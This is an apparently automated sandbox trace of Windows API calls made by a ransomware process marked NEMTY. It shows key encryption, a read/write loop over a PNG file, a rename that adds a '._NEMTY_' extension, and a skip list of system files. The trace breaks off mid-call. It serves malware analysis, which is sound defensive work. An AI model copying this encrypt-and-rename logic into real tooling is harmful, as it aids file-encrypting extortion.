HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0087.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0087.515] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationLeft_ButtonGraphic.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0087.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0087.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationLeft_ButtonGraphic.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpecialNavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 39 [0087.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0087.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0087.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationLeft_ButtonGraphic.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0087.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0087.516] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationLeft_ButtonGraphic.png", cchWideChar=39, lpMultiByteStr=0x6345640, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpecialNavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 39 [0087.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0087.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0087.516] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0087.516] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x4f94358 [0087.516] Sleep (dwMilliseconds=0x5) [0087.530] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe7d187d0, dwHighDateTime=0x1d561e7)) [0087.530] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe7d187d0, dwHighDateTime=0x1d561e7)) [0087.530] GetLastError () returned 0x5 [0087.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0087.530] GetLastError () returned 0x5 [0087.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0087.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0087.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0087.530] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0087.530] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0087.530] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0087.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340120 [0087.530] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340120, pcchString=0x653e91c | out: pszString="nCnVDOy8bR+ZjKRCOa8F5Xv0kBjsFdA2AMpMo/xlWj+zAGUgaw5dcT//tn8CQCYa\r\nxgBlgRCEllmkSQZd5uN3hjv1ZoayHZtBnN+rZHgQrJ0xFV/WrgfF+poJ+xiS2CuA\r\nfSWmiM3Lrr2hCs9W6vkOP4ENZIAMNQUqt5BhDvdyQ84L+p515fbMqUAHMqKEX8b6\r\n//JVTUEeeRt5DSBptbJGGiJW0yyPuzhv64Jh6pOEsshEaUJVss6EOQtnsDXH5kq/\r\nXR1oFitggxZ14a7qVjFdTigl3XuIBC3Vlso6hlEbFyOUiabeTM9haYM6kCGAU8qt\r\n/0r8e83kf7YwZQ/11TOvOQ==\r\n", pcchString=0x653e91c) returned 1 [0087.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0087.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340120 | out: hHeap=0x4f90000) returned 1 [0087.530] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0087.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0087.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340120 [0087.530] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0087.530] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0087.531] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0087.531] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0087.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.531] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.540] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.540] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.540] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.540] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.550] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.550] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.550] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.550] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.559] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.559] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.559] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.559] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.568] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.568] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.568] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.568] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.578] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.578] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.578] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.578] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.587] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.587] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.587] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.587] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.597] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.597] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.597] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.597] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.606] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.606] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.606] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.606] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.615] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.615] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.615] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.615] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.624] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.625] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.625] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.625] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.631] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.631] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.631] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.631] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0087.636] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.637] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.637] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0087.637] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340120, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0087.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0087.637] CloseHandle (hObject=0xffffffff) returned 0 [0087.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340290 [0087.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0087.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0087.637] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0087.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0087.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0087.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340368 [0087.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6340440 [0087.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340368 | out: hHeap=0x4f90000) returned 1 [0087.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0087.637] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\SpecialNavigationLeft_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\specialnavigationleft_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0087.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340440 | out: hHeap=0x4f90000) returned 1 [0087.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340290 | out: hHeap=0x4f90000) returned 1 [0087.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0087.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340120 | out: hHeap=0x4f90000) returned 1 [0087.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0087.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0087.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0087.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0087.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0087.637] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0087.637] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5c3c91, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f5c3c91, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fd79845, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd6, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SpecialNavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0087.637] lstrcmpiW (lpString1="SpecialNavigationLeft_SelectionSubpicture.png", lpString2=".") returned 1 [0087.638] lstrcmpiW (lpString1="SpecialNavigationLeft_SelectionSubpicture.png", lpString2="..") returned 1 [0087.638] lstrcmpiW (lpString1="SpecialNavigationLeft_SelectionSubpicture.png", lpString2="...") returned 1 [0087.638] lstrcmpiW (lpString1="SpecialNavigationLeft_SelectionSubpicture.png", lpString2="windows") returned -1 [0087.638] lstrcmpiW (lpString1="SpecialNavigationLeft_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0087.638] lstrcmpiW (lpString1="SpecialNavigationLeft_SelectionSubpicture.png", lpString2="rsa") returned 1 [0087.638] lstrcmpiW (lpString1="SpecialNavigationLeft_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned 1 [0087.638] lstrcmpiW (lpString1="SpecialNavigationLeft_SelectionSubpicture.png", lpString2="ntldr") returned 1 [0087.638] lstrcmpiW (lpString1="SpecialNavigationLeft_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0087.638] lstrcmpiW (lpString1="SpecialNavigationLeft_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0087.638] lstrcmpiW (lpString1="SpecialNavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0087.638] lstrcmpiW (lpString1="SpecialNavigationLeft_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0087.638] lstrcmpiW (lpString1="SpecialNavigationLeft_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0087.638] lstrcmpiW (lpString1="SpecialNavigationLeft_SelectionSubpicture.png", lpString2="ntuser.dat") returned 1 [0087.638] lstrcmpiW (lpString1="SpecialNavigationLeft_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0087.638] lstrcmpiW (lpString1="SpecialNavigationLeft_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0087.638] lstrcmpiW (lpString1="SpecialNavigationLeft_SelectionSubpicture.png", lpString2="RECYCLER") returned 1 [0087.638] lstrcmpiW (lpString1="SpecialNavigationLeft_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0087.638] lstrcmpiW (lpString1="SpecialNavigationLeft_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0087.638] lstrcmpiW (lpString1="SpecialNavigationLeft_SelectionSubpicture.png", lpString2="programdata") returned 1 [0087.638] lstrcmpiW (lpString1="SpecialNavigationLeft_SelectionSubpicture.png", lpString2="appdata") returned 1 [0087.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94358 [0087.638] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationLeft_SelectionSubpicture.png", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0087.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0087.638] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationLeft_SelectionSubpicture.png", cchWideChar=45, lpMultiByteStr=0x6345608, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpecialNavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 45 [0087.638] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0087.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f943c0 [0087.638] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationLeft_SelectionSubpicture.png", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0087.638] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0087.639] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationLeft_SelectionSubpicture.png", cchWideChar=45, lpMultiByteStr=0x6345608, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpecialNavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 45 [0087.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0087.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f943c0 | out: hHeap=0x4f90000) returned 1 [0087.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0087.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94358 [0087.639] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationLeft_SelectionSubpicture.png", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0087.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0087.639] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationLeft_SelectionSubpicture.png", cchWideChar=45, lpMultiByteStr=0x6345608, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SpecialNavigationLeft_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 45 [0087.639] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94358 | out: hHeap=0x4f90000) returned 1 [0087.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94358 [0087.639] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SpecialNavigationLeft_SelectionSubpicture.png", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0087.639] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0087.639] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 